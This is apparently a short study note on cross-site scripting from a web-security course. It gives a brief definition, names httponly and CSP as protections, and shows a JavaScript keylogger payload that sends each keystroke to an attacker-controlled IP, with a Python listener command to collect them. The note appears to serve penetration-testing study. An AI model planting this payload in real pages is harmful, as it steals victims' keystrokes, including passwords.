Skip to content

XSS

Cross-Site-Scripting (XSS) is a vulnerability based on the trust of user to visiting site. Better JS injection or HTTML injection. Because it is not necessary cross site and not necessary scripting As attackers, we are injecting code that will be executed in the victim's browser. Vaious form of protection against XSS voulnarabilities: 2023042015443939 httponly 2023042015452020 CSP

XSS Types

XSS attacks

XSS Js scripts examples

Watch what keys user press:

function logKey(e){
    console.log(e.key);
    fetch("http://192.168.49.136/k?key=" + e.key);
}

document.addEventListener('keydown', logKey);

python3 -m http.server 80

References

  1. web200.Cross-Site Scripting Introduction and Discovery